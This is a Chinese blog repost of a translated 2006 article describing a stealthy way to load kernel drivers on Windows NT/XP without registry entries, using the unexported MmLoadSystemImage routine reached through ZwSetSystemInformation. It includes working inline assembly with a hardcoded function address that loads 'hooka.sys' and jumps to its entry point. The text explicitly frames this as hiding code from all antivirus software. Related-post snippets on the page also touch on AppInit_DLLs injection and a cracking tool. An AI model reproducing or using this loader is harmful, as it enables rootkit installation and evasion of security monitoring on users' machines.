NT下实现不通过注册表加载进程的方法

NT式驱动基本结构 1.对于NT式驱动来说,主要的函数是DriveEntry函数,卸载函数,以及各个IRP的派遣函数 2.驱动加载过程与驱动入口函数(DriverEntry)    NTSTATUS DriveEntry(IN PDRIVER_OBJECT pDriverobject,   IN PUNICODE_STRING pRegistryPath);//函数名可以自己定义 DriverEntry主 阅读详情
http://blog.mmbest.com/?6576
发布时间2006年10月26日  翻译发布:2006年10月29日

译者按:本文提供了一种在win NT下悄声无息的加载“驱动”的方法。这里所将的“驱动”并不是指平常的驱动,而是指将程序载入系统的内核中,采用该方式将不通过任何注册表项,因此将无法使用任何方法(包括各种杀毒软件)查出这一加载项,达到隐藏自身的目的。为了翻译的方便,本人暂将里面提到的Driver直接译作“驱动”,本人E文也不是很好,之所以翻译这篇文章是想给大家提供以下参考。错译之处在所难免,希望各位兄台多多批评指正。

译文:

 “怎样在不经过注册表的情况下加载驱动”,这是很多人常常问到的一个问题。现在,我们一起来分析WINDOWS操作系统是怎样加载驱动的,既而找到一种实现加载驱动而不通过注册表的办法。
     我们必须注意到即使我们在对系统内核进行溢出的过程中,你仍然无法让其加载任何驱动因为几乎所有的防毒措施都会监控WINDOWS系统内核调用的API(这些API就是让系统写入特殊注册地址的)
     加载驱动的第一种方法通常为:
     WIN NT利用函数ZwLoadDriver实现加载驱动。
     它的描述如下:

NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);

驱动服务名称:指定一个Unicode字符串以区分驱动的注册键值,/Registry/Machine/System/CurrentControlSet/Services/DriverName,DriverName就是该驱动的名称。

第二种方法如下:

一般情况下win2000启动后会开始加载特别的驱动win2k.sys。然而它并不是以其他驱动那样调用函数ZwLoadDriver, NtLoadDriver等。
事实上它是通过内核API函数ZwSetSystemInformation载入的。
该API通常用来设置类似文件分卷等系统信息,以及加载上面提到的驱动,文件缓存等等。

该函数调用方法如下:

ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                                                                                  //识别操作指令
IN PVOID SystemInformation,         //识别操作数
IN ULONG SystemInformationLength )  //识别数据长度

其内部调用方法如下:

Switch (SystemInformationClass)
                      Case 0:
                     
                      Case 1:
                      .
                      .
                      .
                      Case 5:     ;this actually extends the system service descrīptor table
                               .
                               .
                       .          
                               MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);
                              
                               call entrypoint(driverobject,NULL)   ;
                              
                               break     ; 
                         case 6:     
                        .
                        .
                        .
                        .
                        .


上述的两种方法是我们现在已知的两种加载驱动的方式。

下面是第三种方式(针对该方法目前没有防毒措施对其进行监控因此它将是安全的)

像上面所讲的那样,ZwSetSystemInfomation加载镜像函数从而将驱动载入内存然后调用它的入口点。

现在我们将具体地分析MmLoadSystemImage函数的参数。

MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING  prefix optional,UNICODE STRING basename optional,
                      ULONG unknown=0,PVOID imagehandle,PVOID baseaddress); 

ImagePath:windows下的路径
prefix :用在载入驱动的路径名前
basename:系统在加载组件后显示的名称
unknown:未知
*imagehandle:段指针(这是已经被提交的)
*baseaddress:镜像载入内核内存后的地址

该函数实际上就是扮演着加载镜像入驱动,解决导入等的一些问题的角色。

在对windows平台下进行调试的过程中,你可以找出使用d MmLoadSystemImage字段函数的地址。

注意:MmLoadSystemimage在将镜像载入内存后会继续内部调用和检查镜像,所以我们必须保证检查后的结果是正确的。这个过程由MiCheckSystemImage实现。实现导入工作以及加载附属的则是依靠函数MiResolveImageReferences来完成。

函数MmloadSystemimage按照如下流程工作:

1)扫描存在的组件清单以确保它已经被载入
2) 如果镜像已经存在,则返回错误,提示镜像已经存在
3)尝试使用函数Zwopenfile打开文件,如果文件不能被打开,则返回错误代码
4)计算镜像的检查结果并将其与储存在头文件里的结果进行比较
5)如果不相符则返回错误
6)使用函数Zwcreatesection建立一个段然后将其作为参考
7)使用函数mMapViewInSystemSpace给其指定内核空间
8)在必要的时候使用LdrRelocateImage对镜像进行重定向
9) 调用用函数MiResolveImageReferences对镜像参考
10)为组件建立已加载组件清单
11)给其加上写保护
12) 关闭文件指针
13)返回


现在我们有了一个加载镜像的函数,但是调用驱动的入口问题却没有解决。我们可以从载入镜像后的PE头文件自身那里找到相关信息。这个方法可以用来直接在内核中加载和执行驱动,本地应用程序等。

下面给出的是内核下的汇编代码。在windowsXP SP0 英文版下测试通过。在理论上也可以在win2000,xp,2003下执行。


  __asm {
              
              
               ;下面的代码将驱动载入内存
loaddriver:
        mov dword [Stack],esp               //save stack
       
        ;paramters as always are passed in reverse
        push DWORD Driverbase              ;存储驱动基址
        push DWORD ImageHandle             ;存储段指针
        push dword 0              
        push dword 0
        push dword 0
        push DWORD U_STRINGloc              ;指向一个unicode字串 ,包括将要加载的驱动


        mov edi, 0x805c03ae       ;MmLoadSystemImage 函数的地址,在Win XP SP0英文版下随着操作系统版本不同这一地址将发生变化
        call edi
        cmp eax,0                 ;检查驱动是否成功载入内存
        jne   drivernotloaded    ; 如果失败,则直接退出
       
         ;驱动载入后  调用其内置函数,所有参数置零
        mov DWORD edi, [Driverbase]
        mov DWORD ebx ,[edi + 0x3c]      ;获取optional header的偏移量
        mov dword ebx,[edi + ebx + 0x18 + 0x10]   ;  从代码基址中获取入口地址的偏移量   
        add edi ,ebx                        ; 将基址和偏移量相加,得到入口点内存中的物理地址
        push 0 ;
        push 0
        call edi  ;call entry point     (驱动入口点,驱动不同入口点将有变化)


        drivernotloaded:
        mov dword esp,[ Stack]            ;  纠正堆栈使得可以继续执行
       
        ret


      
       ; 下面是各种所需的代码数据
      

; 下面是将要加载的驱动的路径

;DosDevices@:hooka.sys  length  48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00

;储存驱动基址
Driverbase:
dd 0
;储存段指针
ImageHandle:
dd 0;

;储存堆栈地址
Stack:
dd 0

;在内存中构建 unicode字串
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc

}

//汇编结束


注意:这些API函数并不是由windows操作系统的内核导出的,但他们确实有内核方面的用途。这些函数并没有被任何反病毒软件监控,所以它们可以用来加载驱动或者本地应用程序然后运行。

这就是我们所说的在内核模式下不通过注册表加载驱动的方式,当然,这些代码可能存在一些错误,但是目前为止还没有发现硬件上的错误 
DLL注入练习之注册表主表-AppInit_DLLs表项 上一遍介绍了DLL远程注入的基本原理,在这篇文章中,就来看看另一个DLL注入的方法,注册表DLL注入。 其实注册表注入相对远程DLL注入来说更简单、更方便一点,只需在注册表中修改AppInit_DLLs和LoadAppInit_DLLs的键值即可。 (User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。所有 阅读详情

相关推荐

zwloaddriver

驱动加载工具zwloaddriver源代码

加载windows驱动的几种方式

windows api加载驱动的几种方式:

要把所有那些负面的信息当做对自身行为的评价,而不是对自身价值的评判。 3374

动态加载驱动程序源代码

源代码包含三种不同的驱动加载方法,使用ZwSetSystemInformation函数加载驱动,使用NtLoadDriver函数加载驱动,使用服务控制管理器加载驱动,还包括三种线程注入技术,使用RtlCreateUserThread 函数注入线程,使用CreateRemoteThread函数注入线程,使用NtCreateThreadEx函数注入线程,源代码包含C,C#的demo

使用ZwLoadDriver加载驱动

#include #include typedef struct _LSA_UNICODE_STRING {    USHORT Length;    USHORT MaximumLength;    PVOID Buffer;} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; typedef LSA_UNICODE_STRING UNICODE_STRING,

xuplus的专栏 4049

注册表导入权限修改,用于解决:未将所有数据都成功写入到注册表中。某些项是由系统或其他进程打开的,或者你没有足够的权限执行此操作。

无法导入C:\Users\Administrator\Desktop\fix.reg:未将所有数据都成功写入到注册表中。某些项是由系统或其他进程打开的,或者你没有足够的权限执行此操作。 具体可参考: https://geo-ai.blog.youkuaiyun.com/article/details/124664089?spm=1001.2014.3001.5502

PLC控制气缸与电磁阀:从原理到实战编程详解

在工业自动化领域,很多工程师都能编写PLC程序控制电机启停,但当涉及到气缸和电磁阀的精确控制时,却常常遇到动作不协调、响应延迟甚至设备损坏的问题。这背后的关键不在于PLC编程本身,而在于对气动元件特性和控制逻辑的深入理解。 本文将从实际工程问题出发,深入解析气缸与电磁阀的工作原理、PLC控制逻辑设计、常见故障排查方法,并通过完整的梯形图实例,帮助读者掌握气动系统自动化编程的核心要点。无论你是刚接触PLC的初学者,还是希望提升气动控制技能的工程师,都能从中获得实用的技术指导。 1. 气缸与电磁阀在自动化控制中

weixin_42522374的博客 340

杀毒软件原理 四

过主动原理 安全软件现状 安全套装普及,反病毒软件、软件防火墙与HIPS技术的融合: 主动防御广泛运用 恶意软件面临的问题 所有传统后门、木马、rootkit初次安装以及进行相关操作时均 无法绕过主动防御的监控,采用主动防御技术的安全软件将提示 用户发现安全威胁。 主动防御为什么对恶意软件有威慑力 ? 自启动 ? 绕过软件防火墙而采用的方法 ? 密码截取 ?

木休的斋堂 2059

微信公众号数据采集实战:历史文章、互动数据与评论详情全解析

本文提供了一套完整的微信公众号数据采集实战方案,详细解析了如何通过接口调用获取公众号的历史文章列表、单篇文章的互动数据以及详细的用户评论。文章从环境准备、核心参数解析到分页逻辑、批量处理和异常处理,提供了可运行的Python代码示例,旨在帮助开发者高效、稳定地构建自动化采集工具,用于竞品分析、内容研究和舆情监控。

u5v6w7的博客 1601

对某bootkit的驱动分析

一.基本信息驱动文件名:1F273549.sys(驱动名称随机)病毒类型:感染MBRMD5:xxx文件大小:9,104 字节 二.危害简介1. hook了4个SSDT函数,用于对抗杀软的驱动加载,以及保护自身样本不被复制2. 替换了Disk.sys的StartIo处理例程,隐藏MBR的修改3. 根据上层传入的进程pid来杀进程,主要用于结束杀软的进程4. 使用磁盘IO来直接操作MBR三.详细分析1

我爱密码学 2371

RK3588, FFmpeg 拉流 RTSP, mpp 硬解码转RGB

RK3588, FFmpeg 拉流 RTSP, mpp 硬解码转RGB

J。 2342

12、多端神经形态晶体管:原理、应用与算法探索

本文综述了多端神经形态晶体管的原理、应用与算法探索。从神经元MOS晶体管的发展到基于电解质栅极晶体管(EGT)的新型器件设计,系统阐述了其在低电压、多功能逻辑运算和突触行为模拟方面的优势。重点介绍了其在化学生物传感器(如多巴胺和pH检测)中的高灵敏度应用,以及在树突整合、时空总和、动态逻辑和神经元算术等树突算法中的实现。文章还总结了该类器件在神经形态计算、智能传感等领域的广阔前景,并分析了当前面临的材料工艺、理论建模与系统集成挑战,展望了未来发展方向。

delta的博客 144

NT驱动加载器

1.windows驱动分类 由于windows版本发展,出现过几种不同驱动模型:vxd、NT、WDM、WDF。前面的vxd主要同之前的win95/98系统相匹配,后面的NT、WDM、WDF则是同后面的NT内核的windows系统匹配。 ps:个人猜测,其实应该只有2种类型的驱动模型vxd和NT,这2种驱动模型分别对应的是windows发展过程中使用到的2种不同内核:win95/98的wince

superqiong2011的专栏 1339

qq对接openclaw,通过qq发送命令

把 OpenClaw 接入 QQ 和微信,目前主流的微信文章和教程主要提供了两种截然不同的路径。我为你梳理了它们的核心区别和关键步骤,你可以根据自己的需求来选择。

suny8的专栏 272

NT系统下木马进程的隐藏与检测

揭开木马的神秘面纱   DLL木马篇  NT系统下木马进程的隐藏与检测  Shotgun    本文首发于Yesky,传统媒体转载需联系作者,网络媒体请注明出处并保持文章完整  在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WINNT中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺骗WINNT的任务管理器,以至于很多的朋友问我

Shannonhe的专栏 1437

【CASS精品教程】035:南方CASS7.1台阶画法案例大全

摘要:本文详细介绍了南方CASS7.1软件中5种台阶工具的使用方法,包括普通台阶、有边台阶、L型台阶、U型台阶和不规则台阶。重点说明各类台阶的绘制步骤和注意事项,如绘制方向(从右下角逆时针连接4个点)、台阶方向标识(白色边为下边)、台阶数自动生成不可更改等特性。同时指出高版本CASS可能存在操作差异,并配以多张示意图直观展示各类台阶的绘制过程和效果,为使用CASS7.1绘制建筑台阶提供了实用指导。(148字)

智慧空间实验室 2925

CATIA二次开发——遍历几何图形集下的轴系及控制轴系生成位置

CATIA二次开发——轴系相关问题1.遍历几何图形集下的轴系2.解决轴系生成位置的问题 1.遍历几何图形集下的轴系 近期遇到的问题:遍历轴系的时候发现,AxisSystem属性的轴系只有放在轴系集合下,才能被找到,放在几何图形集或其他位置均不能被找到。本来想遍历几何图形集下的轴系元素,但是发现没有对应的属性,只能查找 几何图形集、几何元素、草图等元素,无法直接遍历轴系。 解决办法:(加入选择集,在选择集中筛选轴系类型) HybridBody axisHB = activePart.HybridBodies

WorkMan的博客 2731

Winxp下拦截所有进程的写注册表操作以及进程创建的监控

 原理介绍:  Nt系统下用户层(Ring3)下写注册表的程序大都调用ntdll.dll导出的ZwSetValueKey,该API简单通过int 2e并传递一个服务号进入内核调用同名系统服务(NTSetValueKey)。所以在用户层(Ring3)下拦截写注册表的操作最后的也是最底层的方法便是拦截该API。  同时为了实时监控系统中当前运行的所有进程对该API的直接或者间接调用,需要对所有

默数悲伤 3337

基于Django+Vue3的目标检测系统设计与实现,Web前后端分离,Vue3前台系统+Django后台管理系统开发,YOLOv11 Web目标检测,实现图片、视频和摄像头检测等功能,全网独发

基于Django+Vue3的智能目标检测系统设计与实现,Web前后端分离,YOLOv11 Web目标检测,Vue3前台系统+Django后台管理系统开发,实现图片检测、视频检测、摄像头检测、登录、注册和个人中心功能

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 3669

c#操作进程、服务、注册表(源码测试通过)

1、操作进程: private bool CloseProcess(string CloseProcessName) { try { //根据进程名称,获取该进程信息 Process[] MyProcessS = Process.GetProcessesByName(

ghevinn欢迎您光临 1499

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

Nt内核函数大全

Nt内核函数大全 NtLoadDriver 服务控制管理器加载设备驱动. NtUnloadDriver 服务控制管理器支持卸载指定的驱动程序. NtRegisterNewDevice 加载新驱动文件. NtQueryIntervalProfile 返回数据. NtSetIntervalProfile 指定采样间隔. NtStartProfile 开始取样. NtStopProfile 停止采样...

huang714的专栏 2362

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

后门及持久化访问3----进程注入之AppInit_DLLs注册表项

进程注入之AppInit_DLLs注册表项 User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。只会影响加载了user32.dll的进程。 HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls 代码如下: #include #include using namespace std; int

浅笑996的博客 1028

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

Windbg下对NT堆异常内存的排查

在 Windows 平台上有一个非常底层的内存分配函数 VirtualAlloc,它会一次性分配 64k 整数倍的内存段,内部对象按4k的内存页对齐,如果让程序直接接触 VirtualAlloc,很容易造成内存的浪费以及分配效能的降低,为了提高性能和内存使用效率, Windows 给进程提供了一个堆管理器对对象分配进行细粒度化管理,32位程序的颗粒度位8Byete,64位程序则为16Byte。HEAP 开头有一块大小为 0x4a8 的 HEAP_ENTRY 堆块,用来存放 _HEAP 结构的元数据信息。

u011447703的博客 905

进程注入方法

                为了对内存中的某个进程进行操作,并且获得该进程地址空间里的数据,或者修改进程的私有数据结构,

traum的专栏 3710
上一篇: 无需修改注册表,从内核模式加载驱动和本地应用程序
下一篇: 通过ZwSetSystemInformation和ZwLoadDriver加载驱动
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值